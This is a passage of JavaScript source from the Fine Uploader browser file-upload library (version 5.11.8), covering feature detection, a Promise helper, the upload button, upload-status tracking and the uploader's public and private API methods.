                    uristrings.push(typeof nextObj === "object" ? qq.obj2url(nextObj, nextTemp, true) : Object.prototype.toString.call(nextObj) === "[object Function]" ? encodeURIComponent(nextTemp) + "=" + encodeURIComponent(nextObj()) : encodeURIComponent(nextTemp) + "=" + encodeURIComponent(nextObj));
                }
            };
            if (!prefixDone && temp) {
                prefix = /\?/.test(temp) ? /\?$/.test(temp) ? "" : "&" : "?";
                uristrings.push(temp);
                uristrings.push(qq.obj2url(obj));
            } else if (Object.prototype.toString.call(obj) === "[object Array]" && typeof obj !== "undefined") {
                qq.each(obj, function(idx, val) {
                    add(val, idx);
                });
            } else if (typeof obj !== "undefined" && obj !== null && typeof obj === "object") {
                qq.each(obj, function(prop, val) {
                    add(val, prop);
                });
            } else {
                uristrings.push(encodeURIComponent(temp) + "=" + encodeURIComponent(obj));
            }
            if (temp) {
                return uristrings.join(prefix);
            } else {
                return uristrings.join(prefix).replace(/^&/, "").replace(/%20/g, "+");
            }
        };
        qq.obj2FormData = function(obj, formData, arrayKeyName) {
            if (!formData) {
                formData = new FormData();
            }
            qq.each(obj, function(key, val) {
                key = arrayKeyName ? arrayKeyName + "[" + key + "]" : key;
                if (qq.isObject(val)) {
                    qq.obj2FormData(val, formData, key);
                } else if (qq.isFunction(val)) {
                    formData.append(key, val());
                } else {
                    formData.append(key, val);
                }
            });
            return formData;
        };
        qq.obj2Inputs = function(obj, form) {
            var input;
            if (!form) {
                form = document.createElement("form");
            }
            qq.obj2FormData(obj, {
                append: function(key, val) {
                    input = document.createElement("input");
                    input.setAttribute("name", key);
                    input.setAttribute("value", val);
                    form.appendChild(input);
                }
            });
            return form;
        };
        qq.parseJson = function(json) {
            if (window.JSON && qq.isFunction(JSON.parse)) {
                return JSON.parse(json);
            } else {
                return eval("(" + json + ")");
            }
        };
        qq.getExtension = function(filename) {
            var extIdx = filename.lastIndexOf(".") + 1;
            if (extIdx > 0) {
                return filename.substr(extIdx, filename.length - extIdx);
            }
        };
        qq.getFilename = function(blobOrFileInput) {
            if (qq.isInput(blobOrFileInput)) {
                return blobOrFileInput.value.replace(/.*(\/|\\)/, "");
            } else if (qq.isFile(blobOrFileInput)) {
                if (blobOrFileInput.fileName !== null && blobOrFileInput.fileName !== undefined) {
                    return blobOrFileInput.fileName;
                }
            }
            return blobOrFileInput.name;
        };
        qq.DisposeSupport = function() {
            var disposers = [];
            return {
                dispose: function() {
                    var disposer;
                    do {
                        disposer = disposers.shift();
                        if (disposer) {
                            disposer();
                        }
                    } while (disposer);
                },
                attach: function() {
                    var args = arguments;
                    this.addDisposer(qq(args[0]).attach.apply(this, Array.prototype.slice.call(arguments, 1)));
                },
                addDisposer: function(disposeFunction) {
                    disposers.push(disposeFunction);
                }
            };
        };
    })();
    (function() {
        "use strict";
        if (typeof define === "function" && define.amd) {
            define(function() {
                return qq;
            });
        } else if (typeof module !== "undefined" && module.exports) {
            module.exports = qq;
        } else {
            global.qq = qq;
        }
    })();
    (function() {
        "use strict";
        qq.Error = function(message) {
            this.message = "[Fine Uploader " + qq.version + "] " + message;
        };
        qq.Error.prototype = new Error();
    })();
    qq.version = "5.11.8";
    qq.supportedFeatures = function() {
        "use strict";
        var supportsUploading, supportsUploadingBlobs, supportsFileDrop, supportsAjaxFileUploading, supportsFolderDrop, supportsChunking, supportsResume, supportsUploadViaPaste, supportsUploadCors, supportsDeleteFileXdr, supportsDeleteFileCorsXhr, supportsDeleteFileCors, supportsFolderSelection, supportsImagePreviews, supportsUploadProgress;
        function testSupportsFileInputElement() {
            var supported = true, tempInput;
            try {
                tempInput = document.createElement("input");
                tempInput.type = "file";
                qq(tempInput).hide();
                if (tempInput.disabled) {
                    supported = false;
                }
            } catch (ex) {
                supported = false;
            }
            return supported;
        }
        function isChrome21OrHigher() {
            return (qq.chrome() || qq.opera()) && navigator.userAgent.match(/Chrome\/[2][1-9]|Chrome\/[3-9][0-9]/) !== undefined;
        }
        function isChrome14OrHigher() {
            return (qq.chrome() || qq.opera()) && navigator.userAgent.match(/Chrome\/[1][4-9]|Chrome\/[2-9][0-9]/) !== undefined;
        }
        function isCrossOriginXhrSupported() {
            if (window.XMLHttpRequest) {
                var xhr = qq.createXhrInstance();
                return xhr.withCredentials !== undefined;
            }
            return false;
        }
        function isXdrSupported() {
            return window.XDomainRequest !== undefined;
        }
        function isCrossOriginAjaxSupported() {
            if (isCrossOriginXhrSupported()) {
                return true;
            }
            return isXdrSupported();
        }
        function isFolderSelectionSupported() {
            return document.createElement("input").webkitdirectory !== undefined;
        }
        function isLocalStorageSupported() {
            try {
                return !!window.localStorage && qq.isFunction(window.localStorage.setItem);
            } catch (error) {
                return false;
            }
        }
        function isDragAndDropSupported() {
            var span = document.createElement("span");
            return ("draggable" in span || "ondragstart" in span && "ondrop" in span) && !qq.android() && !qq.ios();
        }
        supportsUploading = testSupportsFileInputElement();
        supportsAjaxFileUploading = supportsUploading && qq.isXhrUploadSupported();
        supportsUploadingBlobs = supportsAjaxFileUploading && !qq.androidStock();
        supportsFileDrop = supportsAjaxFileUploading && isDragAndDropSupported();
        supportsFolderDrop = supportsFileDrop && isChrome21OrHigher();
        supportsChunking = supportsAjaxFileUploading && qq.isFileChunkingSupported();
        supportsResume = supportsAjaxFileUploading && supportsChunking && isLocalStorageSupported();
        supportsUploadViaPaste = supportsAjaxFileUploading && isChrome14OrHigher();
        supportsUploadCors = supportsUploading && (window.postMessage !== undefined || supportsAjaxFileUploading);
        supportsDeleteFileCorsXhr = isCrossOriginXhrSupported();
        supportsDeleteFileXdr = isXdrSupported();
        supportsDeleteFileCors = isCrossOriginAjaxSupported();
        supportsFolderSelection = isFolderSelectionSupported();
        supportsImagePreviews = supportsAjaxFileUploading && window.FileReader !== undefined;
        supportsUploadProgress = function() {
            if (supportsAjaxFileUploading) {
                return !qq.androidStock() && !qq.iosChrome();
            }
            return false;
        }();
        return {
            ajaxUploading: supportsAjaxFileUploading,
            blobUploading: supportsUploadingBlobs,
            canDetermineSize: supportsAjaxFileUploading,
            chunking: supportsChunking,
            deleteFileCors: supportsDeleteFileCors,
            deleteFileCorsXdr: supportsDeleteFileXdr,
            deleteFileCorsXhr: supportsDeleteFileCorsXhr,
            dialogElement: !!window.HTMLDialogElement,
            fileDrop: supportsFileDrop,
            folderDrop: supportsFolderDrop,
            folderSelection: supportsFolderSelection,
            imagePreviews: supportsImagePreviews,
            imageValidation: supportsImagePreviews,
            itemSizeValidation: supportsAjaxFileUploading,
            pause: supportsChunking,
            progressBar: supportsUploadProgress,
            resume: supportsResume,
            scaling: supportsImagePreviews && supportsUploadingBlobs,
            tiffPreviews: qq.safari(),
            unlimitedScaledImageSize: !qq.ios(),
            uploading: supportsUploading,
            uploadCors: supportsUploadCors,
            uploadCustomHeaders: supportsAjaxFileUploading,
            uploadNonMultipart: supportsAjaxFileUploading,
            uploadViaPaste: supportsUploadViaPaste
        };
    }();
    qq.isGenericPromise = function(maybePromise) {
        "use strict";
        return !!(maybePromise && maybePromise.then && qq.isFunction(maybePromise.then));
    };
    qq.Promise = function() {
        "use strict";
        var successArgs, failureArgs, successCallbacks = [], failureCallbacks = [], doneCallbacks = [], state = 0;
        qq.extend(this, {
            then: function(onSuccess, onFailure) {
                if (state === 0) {
                    if (onSuccess) {
                        successCallbacks.push(onSuccess);
                    }
                    if (onFailure) {
                        failureCallbacks.push(onFailure);
                    }
                } else if (state === -1) {
                    onFailure && onFailure.apply(null, failureArgs);
                } else if (onSuccess) {
                    onSuccess.apply(null, successArgs);
                }
                return this;
            },
            done: function(callback) {
                if (state === 0) {
                    doneCallbacks.push(callback);
                } else {
                    callback.apply(null, failureArgs === undefined ? successArgs : failureArgs);
                }
                return this;
            },
            success: function() {
                state = 1;
                successArgs = arguments;
                if (successCallbacks.length) {
                    qq.each(successCallbacks, function(idx, callback) {
                        callback.apply(null, successArgs);
                    });
                }
                if (doneCallbacks.length) {
                    qq.each(doneCallbacks, function(idx, callback) {
                        callback.apply(null, successArgs);
                    });
                }
                return this;
            },
            failure: function() {
                state = -1;
                failureArgs = arguments;
                if (failureCallbacks.length) {
                    qq.each(failureCallbacks, function(idx, callback) {
                        callback.apply(null, failureArgs);
                    });
                }
                if (doneCallbacks.length) {
                    qq.each(doneCallbacks, function(idx, callback) {
                        callback.apply(null, failureArgs);
                    });
                }
                return this;
            }
        });
    };
    qq.BlobProxy = function(referenceBlob, onCreate) {
        "use strict";
        qq.extend(this, {
            referenceBlob: referenceBlob,
            create: function() {
                return onCreate(referenceBlob);
            }
        });
    };
    qq.UploadButton = function(o) {
        "use strict";
        var self = this, disposeSupport = new qq.DisposeSupport(), options = {
            acceptFiles: null,
            element: null,
            focusClass: "qq-upload-button-focus",
            folders: false,
            hoverClass: "qq-upload-button-hover",
            ios8BrowserCrashWorkaround: false,
            multiple: false,
            name: "qqfile",
            onChange: function(input) {},
            title: null
        }, input, buttonId;
        qq.extend(options, o);
        buttonId = qq.getUniqueId();
        function createInput() {
            var input = document.createElement("input");
            input.setAttribute(qq.UploadButton.BUTTON_ID_ATTR_NAME, buttonId);
            input.setAttribute("title", options.title);
            self.setMultiple(options.multiple, input);
            if (options.folders && qq.supportedFeatures.folderSelection) {
                input.setAttribute("webkitdirectory", "");
            }
            if (options.acceptFiles) {
                input.setAttribute("accept", options.acceptFiles);
            }
            input.setAttribute("type", "file");
            input.setAttribute("name", options.name);
            qq(input).css({
                position: "absolute",
                right: 0,
                top: 0,
                fontFamily: "Arial",
                fontSize: qq.ie() && !qq.ie8() ? "3500px" : "118px",
                margin: 0,
                padding: 0,
                cursor: "pointer",
                opacity: 0
            });
            !qq.ie7() && qq(input).css({
                height: "100%"
            });
            options.element.appendChild(input);
            disposeSupport.attach(input, "change", function() {
                options.onChange(input);
            });
            disposeSupport.attach(input, "mouseover", function() {
                qq(options.element).addClass(options.hoverClass);
            });
            disposeSupport.attach(input, "mouseout", function() {
                qq(options.element).removeClass(options.hoverClass);
            });
            disposeSupport.attach(input, "focus", function() {
                qq(options.element).addClass(options.focusClass);
            });
            disposeSupport.attach(input, "blur", function() {
                qq(options.element).removeClass(options.focusClass);
            });
            return input;
        }
        qq(options.element).css({
            position: "relative",
            overflow: "hidden",
            direction: "ltr"
        });
        qq.extend(this, {
            getInput: function() {
                return input;
            },
            getButtonId: function() {
                return buttonId;
            },
            setMultiple: function(isMultiple, optInput) {
                var input = optInput || this.getInput();
                if (options.ios8BrowserCrashWorkaround && qq.ios8() && (qq.iosChrome() || qq.iosSafariWebView())) {
                    input.setAttribute("multiple", "");
                } else {
                    if (isMultiple) {
                        input.setAttribute("multiple", "");
                    } else {
                        input.removeAttribute("multiple");
                    }
                }
            },
            setAcceptFiles: function(acceptFiles) {
                if (acceptFiles !== options.acceptFiles) {
                    input.setAttribute("accept", acceptFiles);
                }
            },
            reset: function() {
                if (input.parentNode) {
                    qq(input).remove();
                }
                qq(options.element).removeClass(options.focusClass);
                input = null;
                input = createInput();
            }
        });
        input = createInput();
    };
    qq.UploadButton.BUTTON_ID_ATTR_NAME = "qq-button-id";
    qq.UploadData = function(uploaderProxy) {
        "use strict";
        var data = [], byUuid = {}, byStatus = {}, byProxyGroupId = {}, byBatchId = {};
        function getDataByIds(idOrIds) {
            if (qq.isArray(idOrIds)) {
                var entries = [];
                qq.each(idOrIds, function(idx, id) {
                    entries.push(data[id]);
                });
                return entries;
            }
            return data[idOrIds];
        }
        function getDataByUuids(uuids) {
            if (qq.isArray(uuids)) {
                var entries = [];
                qq.each(uuids, function(idx, uuid) {
                    entries.push(data[byUuid[uuid]]);
                });
                return entries;
            }
            return data[byUuid[uuids]];
        }
        function getDataByStatus(status) {
            var statusResults = [], statuses = [].concat(status);
            qq.each(statuses, function(index, statusEnum) {
                var statusResultIndexes = byStatus[statusEnum];
                if (statusResultIndexes !== undefined) {
                    qq.each(statusResultIndexes, function(i, dataIndex) {
                        statusResults.push(data[dataIndex]);
                    });
                }
            });
            return statusResults;
        }
        qq.extend(this, {
            addFile: function(spec) {
                var status = spec.status || qq.status.SUBMITTING, id = data.push({
                    name: spec.name,
                    originalName: spec.name,
                    uuid: spec.uuid,
                    size: spec.size == null ? -1 : spec.size,
                    status: status
                }) - 1;
                if (spec.batchId) {
                    data[id].batchId = spec.batchId;
                    if (byBatchId[spec.batchId] === undefined) {
                        byBatchId[spec.batchId] = [];
                    }
                    byBatchId[spec.batchId].push(id);
                }
                if (spec.proxyGroupId) {
                    data[id].proxyGroupId = spec.proxyGroupId;
                    if (byProxyGroupId[spec.proxyGroupId] === undefined) {
                        byProxyGroupId[spec.proxyGroupId] = [];
                    }
                    byProxyGroupId[spec.proxyGroupId].push(id);
                }
                data[id].id = id;
                byUuid[spec.uuid] = id;
                if (byStatus[status] === undefined) {
                    byStatus[status] = [];
                }
                byStatus[status].push(id);
                uploaderProxy.onStatusChange(id, null, status);
                return id;
            },
            retrieve: function(optionalFilter) {
                if (qq.isObject(optionalFilter) && data.length) {
                    if (optionalFilter.id !== undefined) {
                        return getDataByIds(optionalFilter.id);
                    } else if (optionalFilter.uuid !== undefined) {
                        return getDataByUuids(optionalFilter.uuid);
                    } else if (optionalFilter.status) {
                        return getDataByStatus(optionalFilter.status);
                    }
                } else {
                    return qq.extend([], data, true);
                }
            },
            reset: function() {
                data = [];
                byUuid = {};
                byStatus = {};
                byBatchId = {};
            },
            setStatus: function(id, newStatus) {
                var oldStatus = data[id].status, byStatusOldStatusIndex = qq.indexOf(byStatus[oldStatus], id);
                byStatus[oldStatus].splice(byStatusOldStatusIndex, 1);
                data[id].status = newStatus;
                if (byStatus[newStatus] === undefined) {
                    byStatus[newStatus] = [];
                }
                byStatus[newStatus].push(id);
                uploaderProxy.onStatusChange(id, oldStatus, newStatus);
            },
            uuidChanged: function(id, newUuid) {
                var oldUuid = data[id].uuid;
                data[id].uuid = newUuid;
                byUuid[newUuid] = id;
                delete byUuid[oldUuid];
            },
            updateName: function(id, newName) {
                data[id].name = newName;
            },
            updateSize: function(id, newSize) {
                data[id].size = newSize;
            },
            setParentId: function(targetId, parentId) {
                data[targetId].parentId = parentId;
            },
            getIdsInProxyGroup: function(id) {
                var proxyGroupId = data[id].proxyGroupId;
                if (proxyGroupId) {
                    return byProxyGroupId[proxyGroupId];
                }
                return [];
            },
            getIdsInBatch: function(id) {
                var batchId = data[id].batchId;
                return byBatchId[batchId];
            }
        });
    };
    qq.status = {
        SUBMITTING: "submitting",
        SUBMITTED: "submitted",
        REJECTED: "rejected",
        QUEUED: "queued",
        CANCELED: "canceled",
        PAUSED: "paused",
        UPLOADING: "uploading",
        UPLOAD_RETRYING: "retrying upload",
        UPLOAD_SUCCESSFUL: "upload successful",
        UPLOAD_FAILED: "upload failed",
        DELETE_FAILED: "delete failed",
        DELETING: "deleting",
        DELETED: "deleted"
    };
    (function() {
        "use strict";
        qq.basePublicApi = {
            addBlobs: function(blobDataOrArray, params, endpoint) {
                this.addFiles(blobDataOrArray, params, endpoint);
            },
            addInitialFiles: function(cannedFileList) {
                var self = this;
                qq.each(cannedFileList, function(index, cannedFile) {
                    self._addCannedFile(cannedFile);
                });
            },
            addFiles: function(data, params, endpoint) {
                this._maybeHandleIos8SafariWorkaround();
                var batchId = this._storedIds.length === 0 ? qq.getUniqueId() : this._currentBatchId, processBlob = qq.bind(function(blob) {
                    this._handleNewFile({
                        blob: blob,
                        name: this._options.blobs.defaultName
                    }, batchId, verifiedFiles);
                }, this), processBlobData = qq.bind(function(blobData) {
                    this._handleNewFile(blobData, batchId, verifiedFiles);
                }, this), processCanvas = qq.bind(function(canvas) {
                    var blob = qq.canvasToBlob(canvas);
                    this._handleNewFile({
                        blob: blob,
                        name: this._options.blobs.defaultName + ".png"
                    }, batchId, verifiedFiles);
                }, this), processCanvasData = qq.bind(function(canvasData) {
                    var normalizedQuality = canvasData.quality && canvasData.quality / 100, blob = qq.canvasToBlob(canvasData.canvas, canvasData.type, normalizedQuality);
                    this._handleNewFile({
                        blob: blob,
                        name: canvasData.name
                    }, batchId, verifiedFiles);
                }, this), processFileOrInput = qq.bind(function(fileOrInput) {
                    if (qq.isInput(fileOrInput) && qq.supportedFeatures.ajaxUploading) {
                        var files = Array.prototype.slice.call(fileOrInput.files), self = this;
                        qq.each(files, function(idx, file) {
                            self._handleNewFile(file, batchId, verifiedFiles);
                        });
                    } else {
                        this._handleNewFile(fileOrInput, batchId, verifiedFiles);
                    }
                }, this), normalizeData = function() {
                    if (qq.isFileList(data)) {
                        data = Array.prototype.slice.call(data);
                    }
                    data = [].concat(data);
                }, self = this, verifiedFiles = [];
                this._currentBatchId = batchId;
                if (data) {
                    normalizeData();
                    qq.each(data, function(idx, fileContainer) {
                        if (qq.isFileOrInput(fileContainer)) {
                            processFileOrInput(fileContainer);
                        } else if (qq.isBlob(fileContainer)) {
                            processBlob(fileContainer);
                        } else if (qq.isObject(fileContainer)) {
                            if (fileContainer.blob && fileContainer.name) {
                                processBlobData(fileContainer);
                            } else if (fileContainer.canvas && fileContainer.name) {
                                processCanvasData(fileContainer);
                            }
                        } else if (fileContainer.tagName && fileContainer.tagName.toLowerCase() === "canvas") {
                            processCanvas(fileContainer);
                        } else {
                            self.log(fileContainer + " is not a valid file container!  Ignoring!", "warn");
                        }
                    });
                    this.log("Received " + verifiedFiles.length + " files.");
                    this._prepareItemsForUpload(verifiedFiles, params, endpoint);
                }
            },
            cancel: function(id) {
                this._handler.cancel(id);
            },
            cancelAll: function() {
                var storedIdsCopy = [], self = this;
                qq.extend(storedIdsCopy, this._storedIds);
                qq.each(storedIdsCopy, function(idx, storedFileId) {
                    self.cancel(storedFileId);
                });
                this._handler.cancelAll();
            },
            clearStoredFiles: function() {
                this._storedIds = [];
            },
            continueUpload: function(id) {
                var uploadData = this._uploadData.retrieve({
                    id: id
                });
                if (!qq.supportedFeatures.pause || !this._options.chunking.enabled) {
                    return false;
                }
                if (uploadData.status === qq.status.PAUSED) {
                    this.log(qq.format("Paused file ID {} ({}) will be continued.  Not paused.", id, this.getName(id)));
                    this._uploadFile(id);
                    return true;
                } else {
                    this.log(qq.format("Ignoring continue for file ID {} ({}).  Not paused.", id, this.getName(id)), "error");
                }
                return false;
            },
            deleteFile: function(id) {
                return this._onSubmitDelete(id);
            },
            doesExist: function(fileOrBlobId) {
                return this._handler.isValid(fileOrBlobId);
            },
            drawThumbnail: function(fileId, imgOrCanvas, maxSize, fromServer, customResizeFunction) {
                var promiseToReturn = new qq.Promise(), fileOrUrl, options;
                if (this._imageGenerator) {
                    fileOrUrl = this._thumbnailUrls[fileId];
                    options = {
                        customResizeFunction: customResizeFunction,
                        maxSize: maxSize > 0 ? maxSize : null,
                        scale: maxSize > 0
                    };
                    if (!fromServer && qq.supportedFeatures.imagePreviews) {
                        fileOrUrl = this.getFile(fileId);
                    }
                    if (fileOrUrl == null) {
                        promiseToReturn.failure({
                            container: imgOrCanvas,
                            error: "File or URL not found."
                        });
                    } else {
                        this._imageGenerator.generate(fileOrUrl, imgOrCanvas, options).then(function success(modifiedContainer) {
                            promiseToReturn.success(modifiedContainer);
                        }, function failure(container, reason) {
                            promiseToReturn.failure({
                                container: container,
                                error: reason || "Problem generating thumbnail"
                            });
                        });
                    }
                } else {
                    promiseToReturn.failure({
                        container: imgOrCanvas,
                        error: "Missing image generator module"
                    });
                }
                return promiseToReturn;
            },
            getButton: function(fileId) {
                return this._getButton(this._buttonIdsForFileIds[fileId]);
            },
            getEndpoint: function(fileId) {
                return this._endpointStore.get(fileId);
            },
            getFile: function(fileOrBlobId) {
                return this._handler.getFile(fileOrBlobId) || null;
            },
            getInProgress: function() {
                return this._uploadData.retrieve({
                    status: [ qq.status.UPLOADING, qq.status.UPLOAD_RETRYING, qq.status.QUEUED ]
                }).length;
            },
            getName: function(id) {
                return this._uploadData.retrieve({
                    id: id
                }).name;
            },
            getParentId: function(id) {
                var uploadDataEntry = this.getUploads({
                    id: id
                }), parentId = null;
                if (uploadDataEntry) {
                    if (uploadDataEntry.parentId !== undefined) {
                        parentId = uploadDataEntry.parentId;
                    }
                }
                return parentId;
            },
            getResumableFilesData: function() {
                return this._handler.getResumableFilesData();
            },
            getSize: function(id) {
                return this._uploadData.retrieve({
                    id: id
                }).size;
            },
            getNetUploads: function() {
                return this._netUploaded;
            },
            getRemainingAllowedItems: function() {
                var allowedItems = this._currentItemLimit;
                if (allowedItems > 0) {
                    return allowedItems - this._netUploadedOrQueued;
                }
                return null;
            },
            getUploads: function(optionalFilter) {
                return this._uploadData.retrieve(optionalFilter);
            },
            getUuid: function(id) {
                return this._uploadData.retrieve({
                    id: id
                }).uuid;
            },
            log: function(str, level) {
                if (this._options.debug && (!level || level === "info")) {
                    qq.log("[Fine Uploader " + qq.version + "] " + str);
                } else if (level && level !== "info") {
                    qq.log("[Fine Uploader " + qq.version + "] " + str, level);
                }
            },
            pauseUpload: function(id) {
                var uploadData = this._uploadData.retrieve({
                    id: id
                });
                if (!qq.supportedFeatures.pause || !this._options.chunking.enabled) {
                    return false;
                }
                if (qq.indexOf([ qq.status.UPLOADING, qq.status.UPLOAD_RETRYING ], uploadData.status) >= 0) {
                    if (this._handler.pause(id)) {
                        this._uploadData.setStatus(id, qq.status.PAUSED);
                        return true;
                    } else {
                        this.log(qq.format("Unable to pause file ID {} ({}).", id, this.getName(id)), "error");
                    }
                } else {
                    this.log(qq.format("Ignoring pause for file ID {} ({}).  Not in progress.", id, this.getName(id)), "error");
                }
                return false;
            },
            reset: function() {
                this.log("Resetting uploader...");
                this._handler.reset();
                this._storedIds = [];
                this._autoRetries = [];
                this._retryTimeouts = [];
                this._preventRetries = [];
                this._thumbnailUrls = [];
                qq.each(this._buttons, function(idx, button) {
                    button.reset();
                });
                this._paramsStore.reset();
                this._endpointStore.reset();
                this._netUploadedOrQueued = 0;
                this._netUploaded = 0;
                this._uploadData.reset();
                this._buttonIdsForFileIds = [];
                this._pasteHandler && this._pasteHandler.reset();
                this._options.session.refreshOnReset && this._refreshSessionData();
                this._succeededSinceLastAllComplete = [];
                this._failedSinceLastAllComplete = [];
                this._totalProgress && this._totalProgress.reset();
            },
            retry: function(id) {
                return this._manualRetry(id);
            },
            scaleImage: function(id, specs) {
                var self = this;
                return qq.Scaler.prototype.scaleImage(id, specs, {
                    log: qq.bind(self.log, self),
                    getFile: qq.bind(self.getFile, self),
                    uploadData: self._uploadData
                });
            },
            setCustomHeaders: function(headers, id) {
                this._customHeadersStore.set(headers, id);
            },
            setDeleteFileCustomHeaders: function(headers, id) {
                this._deleteFileCustomHeadersStore.set(headers, id);
            },
            setDeleteFileEndpoint: function(endpoint, id) {
                this._deleteFileEndpointStore.set(endpoint, id);
            },
            setDeleteFileParams: function(params, id) {
                this._deleteFileParamsStore.set(params, id);
            },
            setEndpoint: function(endpoint, id) {
                this._endpointStore.set(endpoint, id);
            },
            setForm: function(elementOrId) {
                this._updateFormSupportAndParams(elementOrId);
            },
            setItemLimit: function(newItemLimit) {
                this._currentItemLimit = newItemLimit;
            },
            setName: function(id, newName) {
                this._uploadData.updateName(id, newName);
            },
            setParams: function(params, id) {
                this._paramsStore.set(params, id);
            },
            setUuid: function(id, newUuid) {
                return this._uploadData.uuidChanged(id, newUuid);
            },
            uploadStoredFiles: function() {
                if (this._storedIds.length === 0) {
                    this._itemError("noFilesError");
                } else {
                    this._uploadStoredFiles();
                }
            }
        };
        qq.basePrivateApi = {
            _addCannedFile: function(sessionData) {
                var id = this._uploadData.addFile({
                    uuid: sessionData.uuid,
                    name: sessionData.name,
                    size: sessionData.size,
                    status: qq.status.UPLOAD_SUCCESSFUL
                });
                sessionData.deleteFileEndpoint && this.setDeleteFileEndpoint(sessionData.deleteFileEndpoint, id);
                sessionData.deleteFileParams && this.setDeleteFileParams(sessionData.deleteFileParams, id);
                if (sessionData.thumbnailUrl) {
                    this._thumbnailUrls[id] = sessionData.thumbnailUrl;
                }
                this._netUploaded++;
                this._netUploadedOrQueued++;
                return id;
            },
            _annotateWithButtonId: function(file, associatedInput) {
                if (qq.isFile(file)) {
                    file.qqButtonId = this._getButtonId(associatedInput);
                }
            },
            _batchError: function(message) {
                this._options.callbacks.onError(null, null, message, undefined);
            },
            _createDeleteHandler: function() {
                var self = this;
                return new qq.DeleteFileAjaxRequester({
                    method: this._options.deleteFile.method.toUpperCase(),
                    maxConnections: this._options.maxConnections,
                    uuidParamName: this._options.request.uuidName,
                    customHeaders: this._deleteFileCustomHeadersStore,
                    paramsStore: this._deleteFileParamsStore,
                    endpointStore: this._deleteFileEndpointStore,
                    cors: this._options.cors,
                    log: qq.bind(self.log, self),
                    onDelete: function(id) {
                        self._onDelete(id);
                        self._options.callbacks.onDelete(id);
                    },
                    onDeleteComplete: function(id, xhrOrXdr, isError) {
                        self._onDeleteComplete(id, xhrOrXdr, isError);
                        self._options.callbacks.onDeleteComplete(id, xhrOrXdr, isError);
                    }
                });
            },
            _createPasteHandler: function() {
                var self = this;
                return new qq.PasteSupport({
                    targetElement: this._options.paste.targetElement,
                    callbacks: {
                        log: qq.bind(self.log, self),
                        pasteReceived: function(blob) {
                            self._handleCheckedCallback({
                                name: "onPasteReceived",
                                callback: qq.bind(self._options.callbacks.onPasteReceived, self, blob),
                                onSuccess: qq.bind(self._handlePasteSuccess, self, blob),
                                identifier: "pasted image"
                            });
                        }
                    }
                });
            },
            _createStore: function(initialValue, _readOnlyValues_) {
                var store = {}, catchall = initialValue, perIdReadOnlyValues = {}, readOnlyValues = _readOnlyValues_, copy = function(orig) {
                    if (qq.isObject(orig)) {
                        return qq.extend({}, orig);
                    }
                    return orig;
                }, getReadOnlyValues = function() {
                    if (qq.isFunction(readOnlyValues)) {
                        return readOnlyValues();
                    }
                    return readOnlyValues;
                }, includeReadOnlyValues = function(id, existing) {
                    if (readOnlyValues && qq.isObject(existing)) {
                        qq.extend(existing, getReadOnlyValues());
                    }
                    if (perIdReadOnlyValues[id]) {
                        qq.extend(existing, perIdReadOnlyValues[id]);
                    }
                };
                return {
                    set: function(val, id) {
                        if (id == null) {
                            store = {};
                            catchall = copy(val);
                        } else {
                            store[id] = copy(val);
                        }
                    },
                    get: function(id) {
                        var values;
                        if (id != null && store[id]) {
                            values = store[id];
                        } else {
                            values = copy(catchall);
                        }
                        includeReadOnlyValues(id, values);
                        return copy(values);
                    },
                    addReadOnly: function(id, values) {
                        if (qq.isObject(store)) {
                            if (id === null) {
                                if (qq.isFunction(values)) {
                                    readOnlyValues = values;
                                } else {
                                    readOnlyValues = readOnlyValues || {};
                                    qq.extend(readOnlyValues, values);
                                }
                            } else {
                                perIdReadOnlyValues[id] = perIdReadOnlyValues[id] || {};
                                qq.extend(perIdReadOnlyValues[id], values);
                            }
                        }
                    },
                    remove: function(fileId) {
                        return delete store[fileId];
                    },
                    reset: function() {
                        store = {};
                        perIdReadOnlyValues = {};
                        catchall = initialValue;
                    }
                };
            },
            _createUploadDataTracker: function() {
                var self = this;
                return new qq.UploadData({
                    getName: function(id) {
                        return self.getName(id);
                    },
                    getUuid: function(id) {
                        return self.getUuid(id);
                    },
                    getSize: function(id) {
                        return self.getSize(id);
                    },
                    onStatusChange: function(id, oldStatus, newStatus) {
                        self._onUploadStatusChange(id, oldStatus, newStatus);
                        self._options.callbacks.onStatusChange(id, oldStatus, newStatus);
                        self._maybeAllComplete(id, newStatus);
                        if (self._totalProgress) {
                            setTimeout(function() {
                                self._totalProgress.onStatusChange(id, oldStatus, newStatus);
                            }, 0);
                        }
                    }
                });
            },
            _createUploadButton: function(spec) {
                var self = this, acceptFiles = spec.accept || this._options.validation.acceptFiles, allowedExtensions = spec.allowedExtensions || this._options.validation.allowedExtensions, button;
                function allowMultiple() {
                    if (qq.supportedFeatures.ajaxUploading) {
                        if (self._options.workarounds.iosEmptyVideos && qq.ios() && !qq.ios6() && self._isAllowedExtension(allowedExtensions, ".mov")) {
                            return false;
                        }
                        if (spec.multiple === undefined) {
                            return self._options.multiple;
                        }
                        return spec.multiple;
                    }
                    return false;
                }
                button = new qq.UploadButton({
                    acceptFiles: acceptFiles,
                    element: spec.element,
                    focusClass: this._options.classes.buttonFocus,
                    folders: spec.folders,
                    hoverClass: this._options.classes.buttonHover,
                    ios8BrowserCrashWorkaround: this._options.workarounds.ios8BrowserCrash,
                    multiple: allowMultiple(),
                    name: this._options.request.inputName,
                    onChange: function(input) {
                        self._onInputChange(input);
                    },
                    title: spec.title == null ? this._options.text.fileInputTitle : spec.title
                });
                this._disposeSupport.addDisposer(function() {
                    button.dispose();
                });
                self._buttons.push(button);
                return button;
            },
            _createUploadHandler: function(additionalOptions, namespace) {
                var self = this, lastOnProgress = {}, options = {
                    debug: this._options.debug,
                    maxConnections: this._options.maxConnections,
                    cors: this._options.cors,
                    paramsStore: this._paramsStore,
                    endpointStore: this._endpointStore,
                    chunking: this._options.chunking,
                    resume: this._options.resume,
                    blobs: this._options.blobs,
                    log: qq.bind(self.log, self),
                    preventRetryParam: this._options.retry.preventRetryResponseProperty,
                    onProgress: function(id, name, loaded, total) {
                        if (loaded < 0 || total < 0) {
                            return;
                        }
                        if (lastOnProgress[id]) {
                            if (lastOnProgress[id].loaded !== loaded || lastOnProgress[id].total !== total) {
                                self._onProgress(id, name, loaded, total);
                                self._options.callbacks.onProgress(id, name, loaded, total);
                            }
                        } else {
                            self._onProgress(id, name, loaded, total);
                            self._options.callbacks.onProgress(id, name, loaded, total);
                        }
                        lastOnProgress[id] = {
                            loaded: loaded,
                            total: total
                        };
                    },
                    onComplete: function(id, name, result, xhr) {
                        delete lastOnProgress[id];
                        var status = self.getUploads({
                            id: id
                        }).status, retVal;
                        if (status === qq.status.UPLOAD_SUCCESSFUL || status === qq.status.UPLOAD_FAILED) {
                            return;
                        }
                        retVal = self._onComplete(id, name, result, xhr);
